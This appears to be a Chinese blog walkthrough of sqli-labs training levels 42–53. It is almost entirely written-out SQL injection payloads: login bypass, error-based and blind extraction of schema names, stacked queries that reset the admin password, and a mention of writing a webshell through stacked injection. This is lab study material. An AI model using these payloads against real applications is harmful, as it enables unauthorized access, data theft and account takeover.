sqllabs(第42-53)

第42关

万能密钥登录成功

密码:  'or 1=1 -- aaa

修改密码中尝试报错注入

# 获取数据库名

'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名

'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

 

# 获取字段名

'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

';update security.users set password='1111' where username='admin' -- aaa

尝试修改密码-成功拿到权限

第43关

')or 1=1-- aaa 密码,登陆成功。

# 获取数据库名

') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名

') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

# 获取字段名

') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

#尝试修改admin密码

');update security.users set password='1234' where username='admin' -- aaa

第44关

无回显布尔盲注,单引号闭合方式

# 获取数据库长度

'or length(database())=8 -- a

# 一步一步获取数据库具体名字,第一个字母s,ascii值为115

'or ascii(substr(database(),1,1))=115-- aaa

# 一步一步获取数据表名字,第一个字母为e,ascii值为101

'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa

# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105

'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa

#尝试修改admin密码

');update security.users set password='1234' where username='admin' -- aaa

第45关

闭合使用的 ') ,SQL盲注根据是否成功登录判断信息。

# 获取数据库长度

'or length(database())=8 -- a

# 一步一步获取数据库具体名字,第一个字母s,ascii值为115

'or ascii(substr(database(),1,1))=115-- aaa

# 一步一步获取数据表名字,第一个字母为e,ascii值为101

'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa

# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105

'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa

#尝试修改admin密码

');update security.users set password='1234' where username='admin' -- aaa

第46关

# 获取数据库名

?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

# 获取数据表名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)

# 获取字段名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)

第47关

单引号闭合其他与46一样

# 获取数据库名

'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名

'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)  -- aaa

# 获取字段名

'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)  -- aaa

第48关

无回显时间盲注+数字型

# 猜数据库名的长度

?sort=1 and if(length(database())>1,sleep(5),1)

# 猜数据库名

?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)

#  猜数据表名

?sort=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)

#  猜数据字段名

?sort=1 and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1)

第49关

无回显时间盲注+单引号闭合

# 猜数据库名的长度

?sort=1' and if(length(database())>1,sleep(5),1) -- aaa

# 猜数据库名

?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa

#  猜数据表名

?sort=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- aaa

#  猜数据字段名

?sort=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- aaa

第50关

数字型+报错注入

# 获取数据库名

?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)

# 获取字段名

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)

此题源码中出现的mysqli_multi_query(执行一个或多个针对数据库的查询。多个查询用分号进行分隔。)

知道网站绝对路劲:堆叠注入+写入文件

Mysql.ini配置文件添加

[mysqld]

secure_file_priv=""

写入文件成功了

第51关

字符型+报错注入+单引号闭合

# 获取数据库名

?sort=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名

?sort=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)

# 获取字段名

?sort=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)

可以堆叠注入+写小马

第52关

无回显时间盲注+数字型注入

And if 判断

# 猜数据库长度

and if(length(database())=8,sleep(5),1)

# 猜数据库的组成字母

and if(ascii(substr(database(),1,1))=115,sleep(5),1)

# 猜数据表的组成字母

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)

# 猜数据表的字段组成字母

and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)

第53关

无回显时间盲注+字符型注入+单引号闭合

# 猜数据库长度

?sort=1' and if(length(database())=8,sleep(5),1) -- aaa

# 猜数据库的组成字母

?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa

# 猜数据表的组成字母

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) -- aaa

# 猜数据表的字段组成字母

?sort=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)-- aaa

 

相关推荐

  1. sqllab48-65关通关笔记

    2024-07-15 06:42:04       38 阅读
  2. leetcode(402,44 53)

    2024-07-15 06:42:04       58 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-15 06:42:04       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-15 06:42:04       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-15 06:42:04       58 阅读
  4. Python语言-面向对象

    2024-07-15 06:42:04       69 阅读

热门阅读

  1. ArrayList和LinkedList的区别

    2024-07-15 06:42:04       24 阅读
  2. 【python】数据类型和运算符

    2024-07-15 06:42:04       21 阅读
  3. 前端系列-5 SCSS使用介绍

    2024-07-15 06:42:04       25 阅读
  4. Flutter笔记--WebSocket

    2024-07-15 06:42:04       23 阅读
  5. MongoDB Shard 集群 Docker 部署

    2024-07-15 06:42:04       26 阅读
  6. 数据结构第27节 优先队列

    2024-07-15 06:42:04       21 阅读
  7. 速盾:cdn技术是什么意思?

    2024-07-15 06:42:04       23 阅读
  8. 使用adb连接安卓手机

    2024-07-15 06:42:04       23 阅读
  9. Android人脸解锁源码解析

    2024-07-15 06:42:04       17 阅读
  10. 速盾:高防cdn和普通cdn的区别?

    2024-07-15 06:42:04       29 阅读
  11. Tick数据的清洗和1分钟K线合成

    2024-07-15 06:42:04       18 阅读
  12. App测试自动化工具UIAutomator2的使用

    2024-07-15 06:42:04       23 阅读
  13. React@16.x(57)Redux@4.x(6)- 实现 bindActionCreators

    2024-07-15 06:42:04       28 阅读
  14. PyTorch构建一个肺部CT图像分类模型来分辨肺癌

    2024-07-15 06:42:04       19 阅读